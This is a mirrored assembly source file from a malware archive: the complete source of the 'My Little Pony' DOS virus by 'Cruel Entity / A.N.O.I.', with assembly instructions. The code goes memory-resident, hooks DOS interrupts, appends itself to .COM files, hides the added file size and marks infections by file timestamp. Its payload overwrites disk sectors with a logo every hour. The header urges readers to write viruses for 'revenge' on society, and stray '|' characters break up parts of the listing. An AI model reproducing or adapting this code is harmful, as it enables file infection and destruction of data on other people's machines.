mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
749 lines
22 KiB
NASM
749 lines
22 KiB
NASM
.model tiny
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.code
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org 100h
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start:
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;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
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; A NEW ORDER OF INTELLIGENCE PRESENTS: ;
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; My Little Pony 1.00 ;
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; Copyright (c) 1992, 1993 by Cruel Entity / Macaroni Ted ;
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; - A.N.O.I - ;
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; ;
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; ;
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; I know that there is a much better documented source-code for this ;
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; virus. And I'm also very interessted to get in touch with the guy ;
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; who did that documentation. Please contact me. ;
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; ;
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; You may freely use this code as you want, just give me some of the ;
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; credits. Please learn to create virus, so we, together can get our ;
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; revenge to the soceity. Learn to feel the feeling being cruel! ;
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; ;
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; Of cource I can't take any responsibility for all virus-coders ;
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; who use any of the routines in this virus. ;
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; ;
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; ;
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; Greetings to; The Unforgiven for giving me AT&T's ;
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; Immortal Riot's members '94 ;
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; The man sitting in basement ;
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; ;
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; ps! Tasm /m3 and tlink /t to get this babe into executable!
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;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
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start:
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call $+3
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sub_this: pop bp
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mov ax,0dd22h ;are we already in memory?
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int 21h
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cmp ax,03d33h
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jne $+7
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lea dx,[bp+(cancel-sub_this)]
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jmp far ptr dx
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mov ax,3521h ;get int 21h vect
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int 21h
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mov [bp+(int_21h_off-sub_this)],bx
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mov [bp+(int_21h_seg-sub_this)],es
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mov ax,cs
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dec ax
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mov es,ax
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mov ax,es:[0003h]
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sub ax,[bp+(memlen-sub_this)]
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mov es:[0003h],ax
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mov ax,[bp+(memlen-sub_this)]
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sub word ptr es:[0012h],ax
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mov es,es:[0012h]
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push es
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lea si,[bp+(start-sub_this)]
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mov di,0100h
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mov cx,[bp+(filelen-sub_this)]
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rep movsb
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pop ds ;es => ds
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mov ax,2521h ;new vector at ES:0100
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lea dx,new_int_21h
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int 21h
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cancel:
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push cs ;cs => ds => es
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push cs
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pop ds
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pop es
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lea si,[bp+(first_bytes-sub_this)]
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mov cx,3
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mov di,100h
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rep movsb
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sub di,3
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jmp far ptr di
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db 'Simple Simon met a pieman going to the fair said'
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db ' Simple Simon to the pieman let me take your ware'
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write_rnd_sector:
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cmp dh,0 ;sec
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jne back
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cmp dl,5 ;100th
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ja back
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pushf ;fuck rnd sector
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push bx
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call get_rnd
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mov cx,10 ;/ 10
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xor dx,dx
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div cx
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mov dx,ax ;dx=ax
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mov al,2h ; Drive #, start with C:
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mov cx,1h ; # of sectors to overwrite
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lea bx,logo ; Address to overwriting DATA
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loopie:
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int 26h
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popf
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inc al
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cmp al,25
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jne loopie
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pop bx
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popf
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jmp back
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db '(c)1993 Cruel Entity'
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;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
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; New int 21h
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;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
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new_int_21h:
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pushf
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cmp ax,0dd22h ;check if resident
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je mem_check
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cmp ah,11h ;find 1st old
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je find_old
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cmp ah,12h ;find 1st old
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je find_old
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cmp ah,4eh ;dos 2.x
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je find_
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cmp ah,4fh
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je find_
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cmp ah,3dh ;open
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je open_
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cmp ah,3eh ;close
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je close_
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cmp ah,2ch
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je back2
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push ax
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push cx
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push dx
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mov ah,2ch
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int 21h
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cmp cl,00 ;a new hour?
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je write_rnd_sector
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back:
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pop dx
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pop cx
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pop ax
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back2:
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cmp ah,36h
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jne return_21h
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push bp
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lea bp,get_free_space
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jmp far ptr bp
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return_21h:
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popf
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real_int_21h: db 0eah ;jmp...
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int_21h_off dw ? ;to old int 21h
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int_21h_seg dw ?
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;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
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find_:
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push bp
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lea bp,find_new
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jmp far ptr bp
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open_:
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push bp
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lea bp,open
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jmp far ptr bp
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close_:
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push bp
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lea bp,close_file
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jmp far ptr bp
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mem_check:
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popf
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mov ax,3d33h
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iret
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call_int21h:
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jmp dword ptr cs:int_21h_off ;force a call to DOS
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ret
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find_old:
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popf
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pushf ;find fcb
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push cs
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call call_int21h
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cmp al,0ffh
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je no_more_files
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pushf
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push ds
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push es
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push bp
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mov ah,2fh ;get dta
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int 21h
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push es ;es:bx
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pop ds ;ds:bx
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mov si,bx ;ds:si
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add si,16 ;ext name
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lodsw
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cmp ax,'OC' ;.CO
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jne cancel_ff
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lodsb
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cmp al,'M' ;M
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jne cancel_ff
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ext_ok:
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;ext=com
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mov si,bx ;check size
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add si,26h
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lodsw
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cmp ax,0 ;=> 0ffffh?
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jne cancel_ff
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mov si,bx ;check if already infected
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add si,30
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lodsw ;time
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and al,00011111b
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cmp al,00001010b
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je $+7 ;already infected (sec=24)
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lea dx,store_in_mem
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jmp far ptr dx
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mov si,bx ;alter size
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add si,36
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mov di,si
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lodsw
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sub ax,cs:filelen
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jz cancel_ff
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stosw
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cancel_ff:
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pop bp
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pop es
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pop ds
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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popf
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no_more_files: retf 2 ;iret flags
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db "%%% MY LITTLE PONY %%% COPYRIGHT(C) 1993 A.N.O.I. %%%"
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store_in_mem: ;store filename in buffer
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mov si,bx
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add si,8
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push cs ;cs => es
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pop es
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mov cx,10
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lea di,file_buffer ;check pos
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check_pos:
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cmp byte ptr es:[di],20h
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je store
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add di,8
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loop check_pos
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jmp cancel_ff
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store:
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mov cx,8
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rep movsb
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jmp cancel_ff
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;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
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get_free_space:
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pop bp
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push ds
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push es
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push bp
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push cs ;cs=> ds=> es
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push cs
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pop ds
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pop es
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lea di,file_buffer
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mov cx,10
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check_last:
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cmp byte ptr [di],20h ;check if last
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je cancel_inf
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push di
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push cx
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mov si,di ;si=file pos
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call infect
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pop cx
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pop di
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add di,8
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loop check_last
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cancel_inf:
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push cs
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pop es
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lea di,file_buffer
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mov cx,80+12
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mov al,20h
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rep stosb
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pop bp
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pop es
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pop ds
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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popf
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jmp real_int_21h
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infect:
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;convert filename to asciiz
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lea di,filename
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mov cx,8 ;filename NOT ext
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cpy_filename:
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lodsb
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cmp al,20h
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je filename_klar
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stosb
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loop cpy_filename
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filename_klar:
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mov al,'.'
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stosb
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mov al,'C'
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stosb
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mov al,'O'
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stosb
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mov al,'M'
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stosb
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mov al,0
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stosb
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push cs
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pop ds
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mov ax,4300h ;get attrib
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lea dx,filename
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int 21h
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jnc $+3 ;error?
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ret
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push cx ;save attrib
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xor cx,cx
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mov ax,4301h ;force all attribs
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int 21h
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mov ax,3d02h ;open filename
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lea dx,filename
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pushf
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push cs
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call call_int21h
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mov bx,ax ;save handle
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mov ax,5700h ;get time/date
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int 21h
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push dx ;save time/date
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push cx
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and cl,00011111b
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cmp cl,00001010b
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jne $+7 ;already infected (sec=24)
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lea dx,cancel_inf2
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jmp far ptr dx
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mov ah,3fh ;read 3 first bytes
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mov cx,3
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lea dx,first_bytes
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int 21h
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mov ax,4202h ;goto eof
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xor dx,dx
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xor cx,cx
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int 21h
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sub ax,3 ;create a jmp
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mov jmp_2,ax
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mov ah,40h ;write virus
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mov dx,100h
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mov cx,filelen
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int 21h
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mov ax,4200h ;goto beg
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xor dx,dx
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xor cx,cx
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int 21h
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mov ah,40h ;write jmp
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mov cx,3
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lea dx,jmp_1
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int 21h
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cancel_inf2:
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pop cx ;restore time/date
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pop dx
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and cl,11100000b ;secs=20
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or cl,00001010b
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mov ax,5701h ;set time/date
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int 21h
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mov ah,3eh ;close
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pushf
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push cs
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call call_int21h
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mov ax,4301h ;set attrib
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lea dx,filename
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pop cx ;restore attrib
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int 21h
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ret
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find_new:
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pop bp
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popf
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pushf ;find 4e
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push cs
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call call_int21h
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jnc more_files
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retf 2
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more_files:
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pushf
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push ds
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push es
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push bp
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mov ah,2fh ;get dta
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int 21h
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push es ;es:bx
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pop ds ;ds:bx
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mov si,bx ;ds:si
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push cs ;cs => es
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pop es
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add si,1eh ;f name
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lea di,filename
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mov cx,25
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get_fname:
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lodsb
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cmp al,0
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je get_f_klar
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stosb
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loop get_fname
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get_f_klar:
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mov al,0 ;asciiz
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stosb
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push ds ;ds=> es
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pop es
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push cs ;cs=> ds
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pop ds
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mov si,di
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sub si,4 ;'COM'
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lodsw ;CO
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cmp ax,'OC'
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je check_m
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cmp ax,'oc'
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jne cancel_new
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check_m:
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lodsb
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cmp al,'m'
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je ext_is_com
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cmp al,'M'
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jne cancel_new
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ext_is_com:
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push es ;es=> ds
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pop ds
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mov si,bx
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add si,1ch ;check size
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||
lodsw
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cmp ax,0 ;=> 0ffffh
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jne cancel_new
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mov si,bx
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add si,16h
|
||
lodsw ;time
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and al,00011111b
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cmp al,00001010b
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jne cancel_new ;not infected
|
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mov si,bx
|
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add si,1ah
|
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mov di,si
|
||
lodsw ;alter size
|
||
sub ax,cs:filelen
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||
jz cancel_new
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||
stosw
|
||
|
||
cancel_new:
|
||
pop bp
|
||
pop es
|
||
pop ds
|
||
pop di
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||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
popf
|
||
no_more_files2: retf 2 ;iret flags
|
||
open:
|
||
pop bp
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push bp
|
||
push ds
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||
push es
|
||
|
||
|
||
mov al,'.'
|
||
push ds ;ds=> es
|
||
pop es
|
||
mov di,dx ;es:di filename
|
||
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||
mov cx,50
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||
repnz scasb
|
||
|
||
mov si,di ;ds:si file ext.
|
||
|
||
lodsw
|
||
cmp ax,'OC'
|
||
je check_m2
|
||
cmp ax,'oc'
|
||
je $+7
|
||
lea dx,cancel_open
|
||
jmp far ptr dx
|
||
check_m2:
|
||
lodsb
|
||
cmp al,'m'
|
||
je ext_is_com2
|
||
cmp al,'M'
|
||
jne cancel_open
|
||
|
||
ext_is_com2:
|
||
mov ax,3d02h ;open file
|
||
pushf
|
||
push cs
|
||
call call_int21h
|
||
jc cancel_open
|
||
mov bx,ax
|
||
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
|
||
mov ax,5700h ;get time/date
|
||
int 21h
|
||
|
||
and cl,00011111b ;already infected
|
||
cmp cl,00001010b
|
||
jne cancel_open
|
||
|
||
mov ax,4202h ;goto eof
|
||
xor dx,dx
|
||
xor cx,cx
|
||
int 21h
|
||
|
||
push ax ;save size
|
||
sub ax,3
|
||
|
||
mov dx,ax ;goto eof -3
|
||
mov ax,4200h
|
||
mov cx,0
|
||
int 21h
|
||
|
||
mov ah,3fh ;read
|
||
mov cx,3
|
||
lea dx,temp_bytes
|
||
int 21h
|
||
|
||
|
||
mov ax,4200h ;goto beg
|
||
xor cx,cx
|
||
xor dx,dx
|
||
int 21h
|
||
|
||
mov ah,40h ;write original
|
||
mov cx,3
|
||
lea dx,temp_bytes
|
||
int 21h
|
||
|
||
pop dx
|
||
sub dx,filelen
|
||
|
||
mov ax,4200h ;goto real size
|
||
mov cx,0
|
||
int 21h
|
||
|
||
mov ah,40h
|
||
mov cx,0
|
||
int 21h
|
||
|
||
mov ah,3eh
|
||
pushf
|
||
push cs
|
||
call call_int21h
|
||
cancel_open:
|
||
pop es
|
||
pop ds
|
||
pop bp
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
popf
|
||
|
||
pushf ;open file...
|
||
push cs
|
||
call call_int21h
|
||
retf 2
|
||
|
||
close_file:
|
||
pop bp
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push bp
|
||
push ds
|
||
push es
|
||
|
||
mov ax,1220h ;get handle table
|
||
int 02Fh
|
||
mov bl,es:[di]
|
||
mov ax,1216h
|
||
int 02Fh
|
||
|
||
mov bp,di
|
||
|
||
add di,28h
|
||
push es
|
||
pop ds
|
||
mov si,di
|
||
lodsw
|
||
cmp ax,'OC'
|
||
jne cancel_open
|
||
lodsb
|
||
cmp al,'M'
|
||
jne cancel_open
|
||
|
||
mov si,bp
|
||
add si,20h
|
||
push cs
|
||
pop es
|
||
|
||
call infect
|
||
|
||
jmp cancel_open
|
||
|
||
get_rnd:
|
||
push dx
|
||
push cx
|
||
push bx
|
||
in al,40h ;'@'
|
||
add ax,0000
|
||
mov dx,0000
|
||
mov cx,0007
|
||
rnd_init5:
|
||
shl ax,1
|
||
rcl dx,1
|
||
mov bl,al
|
||
xor bl,dh
|
||
jns rnd_init6
|
||
inc al
|
||
rnd_init6:
|
||
loop rnd_init5
|
||
pop bx
|
||
mov al,dl
|
||
pop cx
|
||
pop dx
|
||
rnd_init_ret:
|
||
ret
|
||
|
||
logo db '>>> A.N.O.I <<<' ; DATA to overwrite with
|
||
|
||
|
||
temp_bytes db 3 dup(?)
|
||
filelen dw offset eof - offset start
|
||
memlen dw 100
|
||
file_buffer db 80 dup(20h)
|
||
filename db 12 dup(?)
|
||
|
||
jmp_1 db 0e9h
|
||
jmp_2 dw ?
|
||
first_bytes db 90h,0cdh,20h
|
||
|
||
eof:
|
||
end start |